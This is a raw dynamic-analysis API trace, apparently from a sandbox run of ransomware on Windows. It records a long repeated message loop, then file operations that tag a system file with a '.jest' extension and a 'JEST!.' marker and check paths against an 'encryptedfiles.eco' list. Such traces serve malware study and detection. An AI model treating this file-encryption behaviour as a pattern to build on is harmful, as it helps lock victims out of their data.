| out: hHeap=0x3820000) returned 1 [0120.967] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.967] CoFreeUnusedLibraries () [0120.967] GetTickCount () returned 0x1150ea1 [0120.967] IsWindowVisible (hWnd=0x30268) returned 0 [0120.967] Sleep (dwMilliseconds=0x0) [0120.967] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.967] CoFreeUnusedLibraries () [0120.967] GetTickCount () returned 0x1150ea1 [0120.967] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.967] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.967] CoFreeUnusedLibraries () [0120.967] GetTickCount () returned 0x1150ea1 [0120.967] IsWindowVisible (hWnd=0x30268) returned 0 [0120.967] Sleep (dwMilliseconds=0x0) [0120.967] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.967] CoFreeUnusedLibraries () [0120.967] GetTickCount () returned 0x1150ea1 [0120.967] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.967] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.968] CoFreeUnusedLibraries () [0120.968] GetTickCount () returned 0x1150ea1 [0120.968] IsWindowVisible (hWnd=0x30268) returned 0 [0120.968] Sleep (dwMilliseconds=0x0) [0120.968] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.968] CoFreeUnusedLibraries () [0120.968] GetTickCount () returned 0x1150ea1 [0120.968] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.968] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.968] CoFreeUnusedLibraries () [0120.968] GetTickCount () returned 0x1150ea1 [0120.968] IsWindowVisible (hWnd=0x30268) returned 0 [0120.968] Sleep (dwMilliseconds=0x0) [0120.968] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.968] CoFreeUnusedLibraries () [0120.968] GetTickCount () returned 0x1150ea1 [0120.968] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.968] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.968] CoFreeUnusedLibraries () [0120.968] GetTickCount () returned 0x1150ea1 [0120.968] IsWindowVisible (hWnd=0x30268) returned 0 [0120.968] Sleep (dwMilliseconds=0x0) [0120.969] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.969] CoFreeUnusedLibraries () [0120.969] GetTickCount () returned 0x1150ea1 [0120.969] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.969] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.969] CoFreeUnusedLibraries () [0120.969] GetTickCount () returned 0x1150ea1 [0120.969] IsWindowVisible (hWnd=0x30268) returned 0 [0120.969] Sleep (dwMilliseconds=0x0) [0120.969] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.969] CoFreeUnusedLibraries () [0120.969] GetTickCount () returned 0x1150ea1 [0120.969] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.969] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.969] CoFreeUnusedLibraries () [0120.969] GetTickCount () returned 0x1150ea1 [0120.969] IsWindowVisible (hWnd=0x30268) returned 0 [0120.969] Sleep (dwMilliseconds=0x0) [0120.969] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.969] CoFreeUnusedLibraries () [0120.969] GetTickCount () returned 0x1150ea1 [0120.969] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.969] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.970] CoFreeUnusedLibraries () [0120.970] GetTickCount () returned 0x1150ea1 [0120.970] IsWindowVisible (hWnd=0x30268) returned 0 [0120.970] Sleep (dwMilliseconds=0x0) [0120.970] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.970] CoFreeUnusedLibraries () [0120.970] GetTickCount () returned 0x1150ea1 [0120.970] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.970] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.970] CoFreeUnusedLibraries () [0120.970] GetTickCount () returned 0x1150ea1 [0120.970] IsWindowVisible (hWnd=0x30268) returned 0 [0120.970] Sleep (dwMilliseconds=0x0) [0120.970] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.970] CoFreeUnusedLibraries () [0120.970] GetTickCount () returned 0x1150ea1 [0120.970] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.970] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.970] CoFreeUnusedLibraries () [0120.970] GetTickCount () returned 0x1150ea1 [0120.970] IsWindowVisible (hWnd=0x30268) returned 0 [0120.970] Sleep (dwMilliseconds=0x0) [0120.971] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.971] CoFreeUnusedLibraries () [0120.971] GetTickCount () returned 0x1150ea1 [0120.971] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.971] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.971] CoFreeUnusedLibraries () [0120.971] GetTickCount () returned 0x1150ea1 [0120.971] IsWindowVisible (hWnd=0x30268) returned 0 [0120.971] Sleep (dwMilliseconds=0x0) [0120.971] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.971] CoFreeUnusedLibraries () [0120.971] GetTickCount () returned 0x1150eb1 [0120.971] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.971] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.971] CoFreeUnusedLibraries () [0120.971] GetTickCount () returned 0x1150eb1 [0120.971] IsWindowVisible (hWnd=0x30268) returned 0 [0120.971] Sleep (dwMilliseconds=0x0) [0120.971] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.971] CoFreeUnusedLibraries () [0120.971] GetTickCount () returned 0x1150eb1 [0120.971] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.972] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.972] CoFreeUnusedLibraries () [0120.972] GetTickCount () returned 0x1150eb1 [0120.972] IsWindowVisible (hWnd=0x30268) returned 0 [0120.972] Sleep (dwMilliseconds=0x0) [0120.972] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.972] CoFreeUnusedLibraries () [0120.972] GetTickCount () returned 0x1150eb1 [0120.972] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.972] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.972] CoFreeUnusedLibraries () [0120.972] GetTickCount () returned 0x1150eb1 [0120.972] IsWindowVisible (hWnd=0x30268) returned 0 [0120.972] Sleep (dwMilliseconds=0x0) [0120.972] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.972] CoFreeUnusedLibraries () [0120.972] GetTickCount () returned 0x1150eb1 [0120.972] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.972] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.972] CoFreeUnusedLibraries () [0120.972] GetTickCount () returned 0x1150eb1 [0120.972] IsWindowVisible (hWnd=0x30268) returned 0 [0120.973] Sleep (dwMilliseconds=0x0) [0120.973] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.973] CoFreeUnusedLibraries () [0120.973] GetTickCount () returned 0x1150eb1 [0120.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.973] CoFreeUnusedLibraries () [0120.973] GetTickCount () returned 0x1150eb1 [0120.973] IsWindowVisible (hWnd=0x30268) returned 0 [0120.973] Sleep (dwMilliseconds=0x0) [0120.973] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.973] CoFreeUnusedLibraries () [0120.973] GetTickCount () returned 0x1150eb1 [0120.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.973] CoFreeUnusedLibraries () [0120.973] GetTickCount () returned 0x1150eb1 [0120.973] IsWindowVisible (hWnd=0x30268) returned 0 [0120.973] Sleep (dwMilliseconds=0x0) [0120.973] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.973] CoFreeUnusedLibraries () [0120.973] GetTickCount () returned 0x1150eb1 [0120.973] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.974] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.974] CoFreeUnusedLibraries () [0120.974] GetTickCount () returned 0x1150eb1 [0120.974] IsWindowVisible (hWnd=0x30268) returned 0 [0120.974] Sleep (dwMilliseconds=0x0) [0120.974] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.974] CoFreeUnusedLibraries () [0120.974] GetTickCount () returned 0x1150eb1 [0120.974] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.974] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.974] CoFreeUnusedLibraries () [0120.974] GetTickCount () returned 0x1150eb1 [0120.974] IsWindowVisible (hWnd=0x30268) returned 0 [0120.974] Sleep (dwMilliseconds=0x0) [0120.974] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.974] CoFreeUnusedLibraries () [0120.974] GetTickCount () returned 0x1150eb1 [0120.974] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.974] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.974] CoFreeUnusedLibraries () [0120.974] GetTickCount () returned 0x1150eb1 [0120.974] IsWindowVisible (hWnd=0x30268) returned 0 [0120.975] Sleep (dwMilliseconds=0x0) [0120.975] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.975] CoFreeUnusedLibraries () [0120.975] GetTickCount () returned 0x1150eb1 [0120.975] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.975] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.975] CoFreeUnusedLibraries () [0120.975] GetTickCount () returned 0x1150eb1 [0120.975] IsWindowVisible (hWnd=0x30268) returned 0 [0120.975] Sleep (dwMilliseconds=0x0) [0120.975] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.975] CoFreeUnusedLibraries () [0120.975] GetTickCount () returned 0x1150eb1 [0120.975] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.975] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.975] CoFreeUnusedLibraries () [0120.975] GetTickCount () returned 0x1150eb1 [0120.975] IsWindowVisible (hWnd=0x30268) returned 0 [0120.975] Sleep (dwMilliseconds=0x0) [0120.984] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", lpFilePart=0x18e870*="main.xml.jest") returned 0x4e [0120.984] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.984] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.984] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.984] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.984] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.984] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.984] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.984] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.jest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0120.985] GetFileType (hFile=0x334) returned 0x1 [0120.985] IMalloc:Alloc (This=0x767666bc, cb=0x8b) returned 0x14cd1d8 [0120.985] GetUserDefaultLCID () returned 0x409 [0120.985] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18ea2c, cchData=6 | out: lpLCData="1252") returned 5 [0120.985] SysStringLen (param_1="JEST!.") returned 0x6 [0120.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0120.985] SysStringLen (param_1="JEST!.") returned 0x6 [0120.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=7, lpMultiByteStr=0x14aaba4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JEST!.", lpUsedDefaultChar=0x0) returned 7 [0120.988] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpFilePart=0x18e6d8*="main.xml") returned 0x49 [0120.988] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x48, dwReserved1=0x990035ac, cFileName="main.xml", cAlternateFileName="")) returned 0x143ce48 [0120.988] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0120.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.990] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpFilePart=0x18e780*="main.xml") returned 0x49 [0120.990] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.990] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.990] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.990] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.990] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.990] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.990] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.991] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.991] GetLastError () returned 0x5 [0120.991] GetLastError () returned 0x5 [0120.991] SetLastError (dwErrCode=0x5) [0120.991] GetLastError () returned 0x5 [0120.991] SetLastError (dwErrCode=0x5) [0120.991] GetLastError () returned 0x5 [0120.991] SetLastError (dwErrCode=0x5) [0120.991] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.991] GetLastError () returned 0x5 [0120.991] GetLastError () returned 0x5 [0120.991] SetLastError (dwErrCode=0x5) [0120.991] GetLastError () returned 0x5 [0120.991] SetLastError (dwErrCode=0x5) [0120.991] GetLastError () returned 0x5 [0120.991] SetLastError (dwErrCode=0x5) [0120.992] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0120.992] GetFileType (hFile=0x334) returned 0x1 [0120.992] IMalloc:Alloc (This=0x767666bc, cb=0x86) returned 0x14e22a0 [0120.992] FlushFileBuffers (hFile=0x8) returned 0 [0120.993] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.993] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpFilePart=0x18e780*="main.xml") returned 0x49 [0120.993] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0120.993] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.993] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.993] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0120.993] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.993] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.993] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0120.994] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 0 [0120.994] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.994] GetLastError () returned 0x5 [0120.994] GetLastError () returned 0x5 [0120.994] SetLastError (dwErrCode=0x5) [0120.994] GetLastError () returned 0x5 [0120.994] SetLastError (dwErrCode=0x5) [0120.994] GetLastError () returned 0x5 [0120.994] SetLastError (dwErrCode=0x5) [0120.994] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.994] GetLastError () returned 0x5 [0120.994] GetLastError () returned 0x5 [0120.994] SetLastError (dwErrCode=0x5) [0120.994] GetLastError () returned 0x5 [0120.994] SetLastError (dwErrCode=0x5) [0120.995] GetLastError () returned 0x5 [0120.995] SetLastError (dwErrCode=0x5) [0120.995] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x338 [0120.995] GetFileType (hFile=0x338) returned 0x1 [0120.995] IMalloc:Alloc (This=0x767666bc, cb=0x86) returned 0x14e2330 [0120.995] IMalloc:Realloc (This=0x767666bc, pv=0x144e6a0, cb=0xc0) returned 0x14db520 [0120.995] FlushFileBuffers (hFile=0x9) returned 0 [0120.995] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0120.996] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x295)) [0120.996] VarDateFromUdate (in: pudateIn=0x18e9f8, 